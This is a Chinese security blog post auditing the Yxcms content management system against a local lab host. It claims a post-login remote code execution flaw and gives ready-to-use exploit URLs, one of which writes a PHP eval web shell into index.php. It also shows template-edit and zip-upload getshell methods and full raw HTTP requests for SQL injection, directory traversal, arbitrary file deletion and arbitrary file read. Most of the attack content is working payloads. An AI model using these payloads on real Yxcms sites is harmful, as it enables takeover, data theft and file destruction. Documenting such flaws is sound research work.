Yxcms代码审计后台RCE（0day）

admin

119591
文章

95
评论

2024年9月30日12:11:26评论38 views字数 4827阅读16分5秒阅读模式

声明：本文仅用于网络安全相关知识分享，环境为本机靶场，请严格遵守网络安全相关法律法规。

未经授权利用本文相关技术从事违法活动的，一切后果由违法人自行承担！Jie安全公众号及作者不承担任何法律责任。

起因是在打内网靶场时，发现靶机用的Yxcms，并且扫描到源码。

网上getshell方式几乎都是新增、编辑模板文件，想着尝试去审计一波，看看有没有其他getshell的方式，于是就有了该文。

RCE

漏洞发生在yxcmsprotectedappsappmanagecontrollerindexController.php文件中的setdefault方法，其实和模板差不多，都用了file_put_contents写入文件，虽然此处$file是不可控的，但是未过滤传入的app值。

先跟进getApp，作用是接收并返回app的值

不管中间正则干了什么，构造下链接看看

http://192.168.0.106/index.php?r=appmanage/index/setdefault&app=123

会将app的值写进index.php文件中

访问根路径

写个phpinfo();试试有没有过滤

虽然未过滤，但是执行不了

闭合')，最终payload

http://192.168.0.106/index.php?r=appmanage/index/setdefault&app=');phpinfo();//

该操作会将所有页面都变成phpinfo页面

把index.php中的标记部分删了才能恢复

写马

http://192.168.0.106/index.php?r=appmanage/index/setdefault&app=');@eval($_POST[wj]);//

蚁剑连接

Getshell

审计出来的其余3处getshell已经早被别人挖了，1处就是模板，另外2处是上传zip文件。

模板getshell

一处tpadd

创建完打开

http://192.168.0.106/protected/apps/default/view/default/wj.php

一处tpedit

编辑完打开

http://192.168.0.106/protected/apps/default/view/default/acomment.php

上传ZIPgetshell1

需要保证上传的zip里含有config.php文件，并且zip文件不能和已上传的重名

压缩包放两个文件，一个config.php一个phpinfo

上传

访问

http://192.168.0.106/protected/apps/wj/wj.php

上传ZIPgetshell2

就用上面的zip包

http://192.168.0.106/index.php?r=appmanage/index/onlineinstall&url=http://192.168.0.106/wj.zip

访问

http://192.168.0.106/protected/apps/wj/wj.php

SQL注入

这SQL写的，你防不了，唉，你防不了

sqlmap梭哈

POST /index.php?r=admin/sort/newsedit&id=100024 HTTP/1.1Host: 192.168.0.106Content-Length: 1309Cache-Control: max-age=0Origin: http://192.168.0.106Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1mQQezLmVeBrWBoXUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://192.168.0.106/index.php?r=admin/sort/newsedit&id=100024Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=b198afc7543bf7258875fc205cde7d9b; Connection: close------WebKitFormBoundary1mQQezLmVeBrWBoXContent-Disposition: form-data; name="parentid"0------WebKitFormBoundary1mQQezLmVeBrWBoXContent-Disposition: form-data; name="sortname"分类信息------WebKitFormBoundary1mQQezLmVeBrWBoXContent-Disposition: form-data; name="picture"; filename=""Content-Type: application/octet-stream------WebKitFormBoundary1mQQezLmVeBrWBoXContent-Disposition: form-data; name="oldpicture"------WebKitFormBoundary1mQQezLmVeBrWBoXContent-Disposition: form-data; name="keywords"分类信息演示------WebKitFormBoundary1mQQezLmVeBrWBoXContent-Disposition: form-data; name="description"分类信息演示------WebKitFormBoundary1mQQezLmVeBrWBoXContent-Disposition: form-data; name="num"10------WebKitFormBoundary1mQQezLmVeBrWBoXContent-Disposition: form-data; name="tplist"news_sortindex------WebKitFormBoundary1mQQezLmVeBrWBoXContent-Disposition: form-data; name="cnlist"news_content*------WebKitFormBoundary1mQQezLmVeBrWBoXContent-Disposition: form-data; name="norder"0------WebKitFormBoundary1mQQezLmVeBrWBoXContent-Disposition: form-data; name="ifmenu"1------WebKitFormBoundary1mQQezLmVeBrWBoXContent-Disposition: form-data; name="extendid"0------WebKitFormBoundary1mQQezLmVeBrWBoX--

Yxcms代码审计后台RCE（0day）

有第一处注入就有第二处注入，时间宝贵，不搞了

目录遍历

无效过滤

http://192.168.0.106/index.php?r=admin/files/index&dirget=/../../../../../../../

Yxcms代码审计后台RCE（0day）

目录遍历也有好几处，其他不写了

任意文件删除

也是无效过滤

http://192.168.0.106/index.php?r=admin/files/del&fname=../../../../../../../../../../../../../1.txt

任意文件删除也有好几处，也不写了

任意文件读取

文件名、路径拼接

POST /index.php?r=admin/set/tpgetcode HTTP/1.1Host: 192.168.0.106Content-Length: 50Cache-Control: max-age=0Origin: http://192.168.0.106Content-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://192.168.0.106/index.php?r=admin/sort/newsedit&id=100024Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=b198afc7543bf7258875fc205cde7d9b; Connection: closeMname=/../../../../../../../../../../&fname=/1.csv

POST /index.php?r=admin/set/tpgetcode HTTP/1.1Host: 192.168.0.106Content-Length: 50Cache-Control: max-age=0Origin: http://192.168.0.106Content-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://192.168.0.106/index.php?r=admin/sort/newsedit&id=100024Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=b198afc7543bf7258875fc205cde7d9b; Connection: closeMname=/&fname=/../../../../../../../../../../1.csv

原文始发于微信公众号（Jie安全）：Yxcms代码审计后台RCE（0day）

左青龙
微信扫一扫

右白虎
微信扫一扫

Yxcms代码审计后台RCE（0day）

Java反序列化之反射&URLDNS链审计

4.LosFormatter反序列化点+一些反序列化链

『代码审计』ThinkPHP8.0的反序列化分析

源码审计是否存在sql注入，安全和危险的sql操作代码

BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

Java反射技术详解

致远oa表单导入任意文件写入漏洞分析

记某次phar反序列化审计捡漏记录

JAVA安全之Thymeleaf模板注入防护绕过

Java安全基础之反射、类加载、动态代理

发表评论

在线咨询

微信